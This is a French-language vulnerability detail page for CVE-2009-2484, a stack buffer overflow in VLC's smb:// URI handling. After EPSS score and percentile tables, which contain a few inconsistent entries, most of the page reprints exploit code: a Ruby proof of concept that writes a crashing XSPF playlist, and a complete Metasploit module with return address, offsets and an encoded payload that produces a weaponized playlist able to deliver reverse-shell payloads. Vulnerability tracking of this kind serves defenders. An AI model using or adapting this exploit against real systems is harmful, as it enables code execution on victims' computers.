CVE-2009-2484 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	63.79%	–	–
2023-03-12	–	–	–	96.41%	–
2023-04-23	–	–	–	96.63%	–
2023-09-03	–	–	–	96.49%	–
2023-10-22	–	–	–	96.13%	–
2023-11-12	–	–	–	96.17%	–
2023-12-03	–	–	–	95.84%	–
2024-01-14	–	–	–	96.09%	–
2024-02-25	–	–	–	95.88%	–
2024-04-07	–	–	–	96.5%	–
2024-06-02	–	–	–	96.5%	–
2024-08-04	–	–	–	96.41%	–
2024-09-08	–	–	–	96.1%	–
2024-10-13	–	–	–	96.08%	–
2024-11-17	–	–	–	95.45%	–
2024-12-22	–	–	–	94.16%	–
2025-01-19	–	–	–	94.16%	–
2025-03-18	–	–	–	–	72.67%
2025-03-30	–	–	–	–	71.23%
2025-03-30	–	–	–	–	71.23,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-04-23	99%
2023-09-03	99%
2023-10-22	99%
2023-11-12	99%
2023-12-03	99%
2024-01-14	99%
2024-02-25	99%
2024-04-07	1%
2024-06-02	1%
2024-08-04	1%
2024-09-08	1%
2024-10-13	1%
2024-11-17	99%
2024-12-22	99%
2025-01-19	99%
2025-03-18	99%
2025-03-30	99%
2025-03-30	99%

#!/usr/bin/ruby # VideoLAN VLC Media Player 0.9.9 smb:// URI Stack-based Buffer Overflow (Proof-of-Concept) # # Bugtraq ID: 35500 # # The vulnerability can also be triggered via the VLC web interface (disabled by default): # http://[vulnerable_ip]:8080/requests/status.xml?command=in_play&input=smb://............ # # Patch: # http://git.videolan.org/?p=vlc.git;a=commitdiff;h=e60a9038b13b5eb805a76755efc5c6d5e080180f # # Tested on Windows XP SP3 (fully patched), VLC player version 0.9.9 (latest). # # Trancer # http://www.rec-sec.com foo = "A" * 58 bar = "B" * 4 baz = "C" * 1000 b00m = foo + bar + baz xspf = %Q|<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location>smb://foo.com@www.foo.com/foo/#{b00m}</location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> | playlist = File.new("vlc_smb.xspf","wb") playlist.write(xspf) playlist.close # milw0rm.com [2009-06-29]

## # $Id: vlc_smb_uri.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'BID', '35500' ], [ 'OSVDB', '55509' ], [ 'CVE', '2009-2484' ], [ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ], [ 'URL', 'http://milw0rm.com/exploits/9209' ], [ 'URL', 'http://www.exploit-db.com/exploits/9029' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ESI', } }, 'Platform' => 'win', 'Targets' => [ [ 'vlc 0.9.9 on Windows XP SP3', # shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec} { 'Readable' => 0x65414141, # points to nul bytes in libmod_plugin 'Offset' => 409, # libvout_directx_plugin.dll # add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret # esi is used as our buffer register, and also becomes eip # (there are two copies of the pointer on the stack) 'Ret' => 0x6b54543e, } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jun 24 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']), ], self.class) end def exploit template = %Q|<?xml version="1.0" encoding="UTF-8"?> <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"> <title>Playlist</title> <trackList> <track> <location>REPLACE_ME</location> <extension application="http://www.videolan.org/vlc/playlist/0"> <vlc:id>0</vlc:id> </extension> </track> </trackList> </playlist> | readable = [target['Readable']].pack('V') # we'll model the memory layout post-overflow.. #psz_remote = Rex::Text.pattern_create(2+260+1+260) psz_remote = rand_text_alphanumeric(target['Offset'] + 4) psz_remote[0,2] = "\\\\" psz_remote[2+260,1] = "\\" # some of this causes crashes in "WNetAddConnection2A" so we need to use # readable addresses... dodging the crashy derefs! # NOTE: some of these only occur in odd open scenarios (like drag/drop) psz_remote[263,4] = readable psz_remote[271,4] = readable psz_remote[325,4] = readable psz_remote[337,4] = readable # add the return addr in psz_remote[target['Offset'],4] = [target.ret].pack('V') # now we can split it and put it in the xml... host,share = psz_remote[2,psz_remote.length].split("\\") path = "smb://%s@%s/%s/" % [payload.encoded, host, share] sploit = template.gsub(/REPLACE_ME/, path) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end